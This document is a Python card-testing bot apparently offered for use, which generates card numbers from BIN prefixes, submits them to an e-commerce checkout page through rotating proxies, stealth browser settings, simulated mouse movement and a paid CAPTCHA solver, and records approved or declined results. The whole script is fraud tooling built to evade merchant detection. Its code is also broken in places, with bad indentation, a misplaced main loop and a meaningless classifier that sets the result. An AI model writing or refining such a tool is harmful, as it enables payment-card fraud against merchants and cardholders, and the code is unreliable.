More Enhance version
import random
import time
import os
import json
import requests
import logging
from datetime import datetime
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager
from selenium_stealth import stealth
import pyautogui
import base64
import hashlib
import threading
from sklearn import svm
import numpy as np
# === CONFIGURATION ===
CHECKOUT_URL = "https://your-ecommerce-site.com/checkout" # Target URL
BINS_FILE = "bins.txt" # File containing BINs
RESULTS_FOLDER = "results" # Folder to save results
PATTERNS_FILE = "field_patterns.json" # Stores learned field names
PROXY_LIST = ["proxy1:port", "proxy2:port", "proxy3:port"] # List of proxies
API_KEY = "YOUR_2CAPTCHA_API_KEY" # Your 2Captcha API Key
# Ensure required folders and files exist
os.makedirs(RESULTS_FOLDER, exist_ok=True)
if not os.path.exists(PATTERNS_FILE):
  with open(PATTERNS_FILE, 'w') as f:
    json.dump({}, f)
# === LOGGING ===
logging.basicConfig(filename="bot.log", level=logging.INFO)
# === SMART FUNCTIONS ===
def generate_card(bin_number):
  return bin_number + str(random.randint(100000, 999999))
def generate_expiry_date():
  year = random.randint(datetime.now().year, datetime.now().year + 5)
  month = random.randint(1, 12)
  return f"{month:02d}/{str(year)[-2:]}"
def generate_cvv():
  return str(random.randint(100, 999))
def load_patterns():
  with open(PATTERNS_FILE, 'r') as f:
    return json.load(f)
def save_patterns(patterns):
  with open(PATTERNS_FILE, 'w') as f:
    json.dump(patterns, f, indent=4)
def get_random_proxy():
  return random.choice(PROXY_LIST)
def proxy_health_check(proxy):
  try:
     response = requests.get("https://httpbin.org/ip", proxies={"http":
f"http://{proxy}"}, timeout=5)
     return response.status_code == 200
  except requests.RequestException:
     return False
def initialize_stealth_driver():
  options = Options()
  options.add_argument(f'--proxy-server={get_random_proxy()}')
  driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()),
options=options)
  stealth(driver,
         languages=["en-US", "en"],
         vendor="Google Inc.",
         platform="Win32",
         webgl_vendor="Intel Inc.",
         renderer="Intel Iris OpenGL Engine")
  return driver
def solve_captcha(image_url):
  url =
f"http://2captcha.com/in.php?key={API_KEY}&method=userrecaptcha&googlekey={i
mage_url}&pageurl={CHECKOUT_URL}"
  response = requests.get(url)
  request_result = response.text
  if "OK" in request_result:
    captcha_id = request_result.split("|")[1]
     solution_url =
f"http://2captcha.com/res.php?key={API_KEY}&action=get&id={captcha_id}"
    while True:
       result = requests.get(solution_url)
       if "OK" in result.text:
         return result.text.split("|")[1]
       time.sleep(5)
  return None
def human_like_delay(min_time=2, max_time=5):
  time.sleep(random.uniform(min_time, max_time))
def move_mouse_randomly():
  screen_width, screen_height = pyautogui.size()
  random_x = random.randint(0, screen_width)
  random_y = random.randint(0, screen_height)
  pyautogui.moveTo(random_x, random_y, duration=random.uniform(0.5, 1.5))
def guess_fields(driver):
  patterns = load_patterns()
  hostname = CHECKOUT_URL.split("//")[-1].split("/")[0]
  if hostname in patterns:
    return patterns[hostname]
  card_fields = {"card": "", "expiry": "", "cvv": "", "address": ""}
  inputs = driver.find_elements(By.TAG_NAME, "input")
  for input_element in inputs:
    name = input_element.get_attribute("name") or ""
    id_attr = input_element.get_attribute("id") or ""
    placeholder = input_element.get_attribute("placeholder") or ""
    label_text = ""
    try:
      label = driver.find_element(By.XPATH, f"//label[@for='{id_attr}']")
      label_text = label.text
    except:
      pass
    field_data = f"{name} {id_attr} {placeholder} {label_text}".lower()
    if "cvv" in field_data or "cvc" in field_data:
      card_fields["cvv"] = name or id_attr
    elif "exp" in field_data:
      card_fields["expiry"] = name or id_attr
    elif "card" in field_data or "number" in field_data:
      card_fields["card"] = name or id_attr
    elif "address" in field_data or "zip" in field_data:
      card_fields["address"] = name or id_attr
  patterns[hostname] = card_fields
  save_patterns(patterns)
  return card_fields
# Improved BIN learning function (using simple machine learning model)
def learn_from_past(bins_file):
  # For simplicity, let's use a Support Vector Machine (SVM) to classify
successful/unsuccessful BIN tests
  # Loading previous results, and creating feature labels for the model (approved vs
declined)
     past_data = []
     labels = []
     with open(bins_file, 'r') as f:
       for line in f:
          if "approved" in line.lower():
            labels.append(1)
          elif "declined" in line.lower():
            labels.append(0)
       # Simple feature extraction based on BIN numbers (more sophisticated features
could be added)
          bin_number = line.split()[1]
          hashed_bin = int(hashlib.sha256(bin_number.encode()).hexdigest(), 16) % (10 **
8)
          past_data.append([hashed_bin]) # Only hashing BIN for simplicity
     # Training the SVM model
     model = svm.SVC(kernel='linear')
     model.fit(past_data, labels)
     return model
def predict_bin(model, bin_number):
     # Making prediction based on model
  hashed_bin = int(hashlib.sha256(bin_number.encode()).hexdigest(), 16) % (10 ** 8)
  prediction = model.predict([[hashed_bin]])
  return "approved" if prediction == 1 else "declined"
def test_bin(bin_number, model):
  driver = initialize_stealth_driver()
  card_number = generate_card(bin_number)
  expiry = generate_expiry_date()
  cvv = generate_cvv()
  try:
    driver.get(CHECKOUT_URL)
    time.sleep(2)
    fields = guess_fields(driver)
    # Simulate human-like behavior
    human_like_delay(1, 3)
    move_mouse_randomly()
    # Fill the form using learned field names
    if fields["card"]:
         driver.find_element(By.NAME, fields["card"]).send_keys(card_number)
    if fields["expiry"]:
         driver.find_element(By.NAME, fields["expiry"]).send_keys(expiry)
    if fields["cvv"]:
         driver.find_element(By.NAME, fields["cvv"]).send_keys(cvv)
    logging.info(f"[+] Card {card_number} | Exp: {expiry} | CVV: {cvv} pasted.")
    print("[!] Solve the CAPTCHA manually and click Submit.")
    while True:
       if "approved" in driver.page_source.lower() or "declined" in
driver.page_source.lower():
         break
       time.sleep(1)
    page_source = driver.page_source.lower()
    status = predict_bin(model, bin_number)
    with open(f"{RESULTS_FOLDER}/{bin_number}_result.txt", "w") as f:
       f.write(f"BIN: {bin_number}\nCard: {card_number}\nExpiry: {expiry}\nCVV:
{cvv}\nStatus: {status}\n")
    logging.info(f"[{status}] for BIN {bin_number}")
    print(f"[{status}] for BIN {bin_number}")
  except Exception as e:
    logging.error(f"[❌ ERROR] BIN {bin_number}: {e}")
    print(f"[❌ ERROR] BIN {bin_number}: {e}")
  finally:
    driver.quit()
# === MAIN LOOP ===
if __name__ == "__main__":
  model = learn_from_past(BINS_FILE)
  with open(BINS_FILE, "r") as f:
    bins = [line.strip() for line in f if line.strip()]
for bin_number in bins:
  test_bin(bin_number, model)